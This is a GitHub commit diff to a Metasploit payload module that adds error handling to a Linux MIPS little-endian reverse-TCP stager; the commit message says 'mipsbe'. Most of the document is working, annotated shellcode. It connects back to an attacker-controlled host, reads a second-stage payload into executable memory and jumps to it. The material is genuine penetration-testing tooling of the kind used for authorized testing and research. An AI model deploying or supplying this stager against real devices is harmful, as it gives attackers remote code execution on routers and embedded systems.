Skip to content

Commit ed0b5a8

Browse files
tkmrutkmru
committed
add error handling bin to reverse_tcp on mipsbe
1 parent adeffd6 commit ed0b5a8

File tree

1 file changed

+72
-19
lines changed

1 file changed

+72
-19
lines changed

‎modules/payloads/stagers/linux/mipsle/reverse_tcp.rb

Lines changed: 72 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,8 @@ def initialize(info = {})
2020
'Description' => 'Connect back to the attacker',
2121
'Author' =>
2222
[
23-
'juan vazquez'
23+
'juan vazquez',
24+
'tkmru'
2425
],
2526
'License' => MSF_LICENSE,
2627
'Platform' => 'linux',
@@ -30,26 +31,78 @@ def initialize(info = {})
3031
{
3132
'Offsets' =>
3233
{
33-
'LHOST' => [ [60, 56], 'ADDR16MSB' ],
34-
'LPORT' => [ 48, 'n' ],
34+
'LHOST' => [ [68, 64], 'ADDR16MSB' ],
35+
'LPORT' => [ 56, 'n' ],
3536
},
3637
'Payload' =>
37-
"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
38-
"\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
39-
"\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
40-
"\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
41-
"\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
42-
"\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
43-
"\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
44-
"\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
45-
"\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
46-
"\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
47-
"\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
48-
"\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
49-
"\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" +
50-
"\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" +
51-
"\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
52-
"\x20\x02"
38+
"\xfa\xff\x0f\x24" + # li t7,-6
39+
"\x27\x78\xe0\x01" + # nor t7,t7,zero
40+
"\xfd\xff\xe4\x21" + # addi a0,t7,-3
41+
"\xfd\xff\xe5\x21" + # addi a1,t7,-3
42+
"\xff\xff\x06\x28" + # slti a2,zero,-1
43+
"\x57\x10\x02\x24" + # li v0,4183
44+
"\x0c\x01\x01\x01" + # syscall 0x40404
45+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
46+
"\x36\x00\x00\x16" + # bnez s0,0x4006bc <failed>
47+
"\xfc\xff\xa2\xaf" + # sw v0,-4(sp)
48+
"\xfc\xff\xa4\x8f" + # lw a0,-4(sp)
49+
"\xfd\xff\x0f\x24" + # li t7,-3
50+
"\x27\x78\xe0\x01" + # nor t7,t7,zero
51+
"\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
52+
"\x11\x5c\x0e\x34" + # li t6,0x5c11
53+
"\xe4\xff\xae\xaf" + # sw t6,-28(sp)
54+
"\x00\x01\x0e\x3c" + # lui t6,0x100
55+
"\x7f\x00\xce\x35" + # ori t6,t6,0x7f
56+
"\xe6\xff\xae\xaf" + # sw t6,-26(sp)
57+
"\xe2\xff\xa5\x27" + # addiu a1,sp,-30
58+
"\xef\xff\x0c\x24" + # li t4,-17
59+
"\x27\x30\x80\x01" + # nor a2,t4,zero
60+
"\x4a\x10\x02\x24" + # li v0,4170
61+
"\x0c\x01\x01\x01" + # syscall 0x40404
62+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
63+
"\x25\x00\x00\x16" + # bnez s0,0x4006bc <failed>
64+
"\xff\xff\x04\x24" + # li a0,-1
65+
"\x01\x10\x05\x24" + # li a1,4097
66+
"\xff\xff\xa5\x20" + # addi a1,a1,-1
67+
"\xf8\xff\x09\x24" + # li t1,-8
68+
"\x27\x48\x20\x01" + # nor t1,t1,zero
69+
"\x20\x30\x20\x01" + # add a2,t1,zero
70+
"\x02\x08\x07\x24" + # li a3,2050
71+
"\xea\xff\x0b\x24" + # li t3,-22
72+
"\x27\x58\x60\x01" + # nor t3,t3,zero
73+
"\x20\x58\xab\x03" + # add t3,sp,t3
74+
"\xff\xff\x60\xad" + # sw zero,-1(t3)
75+
"\xfb\xff\x62\xad" + # sw v0,-5(t3)
76+
"\xfa\x0f\x02\x24" + # li v0,4090
77+
"\x0c\x01\x01\x01" + # syscall 0x40404
78+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
79+
"\x15\x00\x00\x16" + # bnez s0,0x4006bc <failed>
80+
"\xf8\xff\xa2\xaf" + # sw v0,-8(sp)
81+
"\xfc\xff\xa4\x8f" + # lw a0,-4(sp)
82+
"\xf8\xff\xa5\x8f" + # lw a1,-8(sp)
83+
"\x01\x10\x06\x24" + # li a2,4097
84+
"\xff\xff\xc6\x20" + # addi a2,a2,-1
85+
"\xa3\x0f\x02\x24" + # li v0,4003
86+
"\x0c\x01\x01\x01" + # syscall 0x40404
87+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
88+
"\x0c\x00\x00\x16" + # bnez s0,0x4006bc <failed>
89+
"\xf8\xff\xa4\x8f" + # lw a0,-8(sp)
90+
"\x20\x28\x40\x00" + # add a1,v0,zero
91+
"\xfd\xff\x09\x24" + # li t1,-3
92+
"\x27\x48\x20\x01" + # nor t1,t1,zero
93+
"\x20\x30\x20\x01" + # add a2,t1,zero
94+
"\x33\x10\x02\x24" + # li v0,4147
95+
"\x0c\x01\x01\x01" + # syscall 0x40404
96+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
97+
"\x03\x00\x00\x16" + # bnez s0,0x4006bc <failed>
98+
"\xf8\xff\xb1\x8f" + # lw s1,-8(sp)
99+
"\xfc\xff\xb2\x8f" + # lw s2,-4(sp)
100+
"\x09\xf8\x20\x02" + # jalr s1
101+
"\x01\x00\x04\x24" + # li a0,1
102+
"\xa1\x0f\x02\x24" + # li v0,4001
103+
"\x0c\x01\x01\x01" + # syscall 0x40404
104+
"\x25\x08\x20\x00" + # move at,at
105+
"\x25\x08\x20\x00" # move at,at
53106
}
54107
))
55108
end

0 commit comments

Comments
 (0)